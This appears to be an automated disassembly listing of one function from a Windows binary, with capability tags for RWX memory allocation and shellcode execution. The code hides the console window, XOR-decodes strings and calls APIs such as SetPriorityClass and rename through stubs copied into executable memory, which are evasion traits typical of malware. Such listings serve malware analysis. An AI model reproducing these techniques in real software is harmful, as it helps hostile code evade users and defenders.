Function at 0x140059240
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xb0
mov rax, qword [0x1401494d8]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov rdi, rcx
mov dword [rbp - 0x39], 5
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp - 0x41], rax
lea r12, [rbp + 0x5f]
movabs rax, 0xff00ff00ff00ff00
mov qword [rbp + 0x17], rax
mov qword [rbp + 0x1f], r12
mov rbx, qword [r12]
xor rbx, rax
mov qword [rbp + 0xf], rbx
xor r13d, r13d
mov qword [r12], r13
mov ecx, r13d
lea esi, [r13 + 3]
lea r14, [0x14004b870]
lea r15, [0x140000000]
mov rax, qword [0x14014abe0]
test rax, rax
je 0x1400592fb
mov edx, r13d
cmp rax, r14
je 0x1400592ea
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x14abe0]
test rax, rax
jne 0x1400592d2
jmp 0x1400592fb
mov r9, qword [r15 + rdx*8 + 0x14af00]
test r9, r9
jne 0x1400593df
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x140059322
mov r9, r13
jmp 0x1400593be
mov rax, r14
mov rcx, r9
mov rdx, rsi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140059330
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014abd0]
mov qword [r15 + rax*8 + 0x14abe0], r14
mov qword [r15 + rax*8 + 0x14af00], r9
inc rax
mov qword [0x14014abd0], rax
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x41]
mov rcx, qword [sym.imp.USER32.dll_ShowWindow]
call r9
nop
movabs r14, 0xff00ff00ff00ff00
xor rbx, r14
mov qword [r12], rbx
mov edx, recv
lea rcx, [rbp - 0x11]
call fcn.1400584d0
nop
cmp qword [rax + 0x18], 0x10
jb 0x14005941c
mov rax, qword [rax]
mov qword [rbp - 0x41], rax
lea r12, [rbp + 0x5f]
mov qword [rbp + 0x17], r14
mov qword [rbp + 0x1f], r12
mov rbx, qword [r12]
xor rbx, r14
mov qword [rbp + 0xf], rbx
mov qword [r12], r13
mov ecx, r13d
lea r14, [0x14004b9e0]
mov rax, qword [0x14014b230]
test rax, rax
je 0x14005947d
mov rdx, r13
cmp rax, r14
je 0x14005946c
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x14b230]
test rax, rax
jne 0x140059454
jmp 0x14005947d
mov r8, qword [r15 + rdx*8 + 0x14b550]
test r8, r8
jne 0x14005955f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400594a4
mov r8, r13
jmp 0x14005953e
mov rax, r14
mov rcx, r8
mov rdx, rsi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x1400594b0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014b220]
mov qword [r15 + rax*8 + 0x14b230], r14
mov qword [r15 + rax*8 + 0x14b550], r8
inc rax
mov qword [0x14014b220], rax
lea rdx, [rbp - 0x41]
mov rcx, qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call r8
nop
movabs r14, 0xff00ff00ff00ff00
xor rbx, r14
mov qword [r12], rbx
mov rdx, qword [rbp + 7]
cmp rdx, 0x10
jb 0x1400595bd
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400595b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400595b8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c844c
mov dword [rbp - 0x39], 0x100
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbp - 0x41], rax
lea r12, [rbp + 0x5f]
mov qword [rbp + 0x17], r14
mov qword [rbp + 0x1f], r12
mov rbx, qword [r12]
xor rbx, r14
mov qword [rbp + 0xf], rbx
mov qword [r12], r13
mov ecx, r13d
lea r14, [0x14004b870]
mov rax, qword [0x14014b880]
test rax, rax
je 0x14005962b
mov rdx, r13
cmp rax, r14
je 0x14005961a
inc ecx
mov edx, ecx
mov rax, qword [r15 + rcx*8 + 0x14b880]
test rax, rax
jne 0x140059602
jmp 0x14005962b
mov r9, qword [r15 + rdx*8 + 0x14bba0]
test r9, r9
jne 0x14005970f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x140059652
mov r9, r13
jmp 0x1400596ee
mov rax, r14
mov rcx, r9
mov rdx, rsi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140059660
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014b870]
mov qword [r15 + rax*8 + 0x14b880], r14
mov qword [r15 + rax*8 + 0x14bba0], r9
inc rax
mov qword [0x14014b870], rax
lea r8, [rbp - 0x39]
lea rdx, [rbp - 0x41]
mov rcx, qword [sym.imp.KERNEL32.dll_SetPriorityClass]
call r9
nop
movabs rax, 0xff00ff00ff00ff00
xor rbx, rax
mov qword [r12], rbx
call fcn.1400554a0
mov rdx, qword [rdi]
xorps xmm0, xmm0
movups xmmword [rbp - 0x31], xmm0
mov qword [rbp - 0x21], r13
mov qword [rbp - 0x19], r13
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rdx + r8], 0
jne 0x140059754
lea rcx, [rbp - 0x31]
call fcn.14004bc10
nop
mov edx, recv
lea rcx, [rbp + 0xf]
call fcn.1400584d0
nop
cmp qword [rax + 0x18], 0x10
jb 0x140059781
mov rax, qword [rax]
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
mov qword [rbp - 1], r13
mov qword [rbp + 7], r13
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x140059793
mov rdx, rax
lea rcx, [rbp - 0x11]
call fcn.14004bc10
nop
mov rdx, qword [rbp + 0x27]
cmp rdx, 0x10
jb 0x1400597e8
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400597e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400597e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c844c
movdqa xmm0, xmmword [0x1400d9010]
movdqu xmmword [rbp + 0x1f], xmm0
mov byte [rbp + 0xf], 0
mov byte [rbp - 0x39], 0x52
mov r8b, 0x7c
mov al, 0x37
mov cl, 0x2a
movzx edx, al
xor r9d, r9d
xor r8b, 0x52
mov byte [rbp - 0x38], r8b
xor al, 0x52
mov byte [rbp - 0x37], al
xor cl, 0x52
mov byte [rbp - 0x36], cl
xor dl, 0x52
mov byte [rbp - 0x35], dl
mov byte [rbp - 0x34], r9b
lea rax, [rbp - 0x38]
mov rbx, rsi
nop
inc rbx
cmp byte [rax + rbx], r9b
jne 0x140059830
lea r14, [rbp - 0x31]
mov r10, qword [rbp - 0x31]
mov r9, qword [rbp - 0x19]
cmp r9, 0x10
cmovae r14, r10
mov r13, qword [rbp - 0x21]
cmp rbx, r13
ja 0x1400598d7
mov rax, r13
sub rax, rbx
test rbx, rbx
je 0x14005996a
lea r15, [rax + r14]
movsx r12d, r8b
lea r8, [r15 + 1]
sub r8, r14
mov edx, r12d
mov rcx, r14
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
je 0x1400598cf
nop dword [rax + rax]
mov r8, rbx
lea rdx, [rbp - 0x38]
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400598c2
inc rdi
lea r8, [r15 + 1]
sub r8, rdi
mov edx, r12d
mov rcx, rdi
call sub.VCRUNTIME140.dll_memchr
mov rdi, rax
test rax, rax
jne 0x140059890
jmp 0x1400598cf
sub rdi, r14
cmp rdi, 0xffffffffffffffff
jne 0x14005996a
mov r9, qword [rbp - 0x19]
mov r10, qword [rbp - 0x31]
mov byte [rbp - 0x39], reloc.WS2_32.dll_WSASetLastError
mov al, 0x5e
mov cl, reloc.WS2_32.dll_setsockopt
mov dl, 8
movzx r8d, cl
xor r11d, r11d
xor al, 0x70
mov byte [rbp - 0x38], al
xor cl, 0x70
mov byte [rbp - 0x37], cl
xor dl, 0x70
mov byte [rbp - 0x36], dl
xor r8b, 0x70
mov byte [rbp - 0x35], r8b
mov byte [rbp - 0x34], r11b
lea rax, [rbp - 0x38]
mov rdi, rsi
nop dword [rax]
inc rdi
cmp byte [rax + rdi], r11b
jne 0x140059910
mov rax, r9
sub rax, r13
cmp rdi, rax
ja 0x140059950
lea rax, [rdi + r13]
mov qword [rbp - 0x21], rax
lea rbx, [rbp - 0x31]
cmp r9, 0x10
cmovae rbx, r10
add rbx, r13
mov r8, rdi
lea rdx, [rbp - 0x38]
mov rcx, rbx
call fcn.140065890
mov byte [rdi + rbx], 0
jmp 0x14005996a
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x38]
movzx r8d, byte [rbp - 0x49]
mov rdx, rdi
lea rcx, [rbp - 0x31]
call fcn.14004c780
mov byte [rbp - 0x39], reloc.WS2_32.dll_sendto
mov al, 0x3a
mov cl, 0x71
mov dl, 0x6c
movzx r8d, cl
xor r9d, r9d
xor al, 0x14
mov byte [rbp - 0x38], al
xor cl, 0x14
mov byte [rbp - 0x37], cl
xor dl, 0x14
mov byte [rbp - 0x36], dl
xor r8b, 0x14
mov byte [rbp - 0x35], r8b
mov byte [rbp - 0x34], r9b
lea rax, [rbp - 0x38]
nop dword [rax]
inc rsi
cmp byte [rax + rsi], r9b
jne 0x1400599a0
mov rcx, qword [rbp - 1]
mov rdx, qword [rbp + 7]
mov rax, rdx
sub rax, rcx
cmp rsi, rax
ja 0x1400599e9
lea rax, [rsi + rcx]
mov qword [rbp - 1], rax
lea rbx, [rbp - 0x11]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x11]
add rbx, rcx
mov r8, rsi
lea rdx, [rbp - 0x38]
mov rcx, rbx
call fcn.140065890
mov byte [rbx + rsi], 0
jmp 0x140059a03
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x38]
movzx r8d, byte [rbp - 0x49]
mov rdx, rsi
lea rcx, [rbp - 0x11]
call fcn.14004c780
lea rax, [rbp - 0x11]
cmp qword [rbp + 7], 0x10
cmovae rax, qword [rbp - 0x11]
mov qword [rbp - 0x41], rax
lea rax, [rbp - 0x31]
cmp qword [rbp - 0x19], 0x10
cmovae rax, qword [rbp - 0x31]
mov qword [rbp - 0x39], rax
lea r14, [rbp + 0x5f]
movabs r12, 0xff00ff00ff00ff00
mov qword [rbp + 0x17], r12
mov qword [rbp + 0x1f], r14
mov rbx, qword [r14]
xor rbx, r12
mov qword [rbp + 0xf], rbx
xor r15d, r15d
mov qword [r14], r15
mov ecx, r15d
lea rdi, [0x14004b9a0]
mov rax, qword [0x14014bed0]
lea rsi, [0x140000000]
test rax, rax
je 0x140059a99
mov edx, r15d
nop dword [rax]
cmp rax, rdi
je 0x140059a88
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x14bed0]
test rax, rax
jne 0x140059a70
jmp 0x140059a99
mov r10, qword [rsi + rdx*8 + 0x14c1f0]
test r10, r10
jne 0x140059b7f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x140059ac0
mov r10, r15
jmp 0x140059b5e
mov rax, rdi
mov rcx, r10
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140059ad0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14014bec0]
mov qword [rsi + rax*8 + 0x14bed0], rdi
mov qword [rsi + rax*8 + 0x14c1f0], r10
inc rax
mov qword [0x14014bec0], rax
lea r8, [rbp - 0x41]
lea rdx, [rbp - 0x39]
mov rcx, qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
call r10
nop
xor rbx, r12
mov qword [r14], rbx
mov rdx, qword [rbp + 7]
cmp rdx, 0x10
jb 0x140059bd6
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140059bd1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140059bd1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c844c
mov qword [rbp - 1], r15
mov qword [rbp + 7], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x11], 0
mov rdx, qword [rbp - 0x19]
cmp rdx, 0x10
jb 0x140059c24
inc rdx
mov rcx, qword [rbp - 0x31]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140059c1f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140059c1f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c844c
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400c8560
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret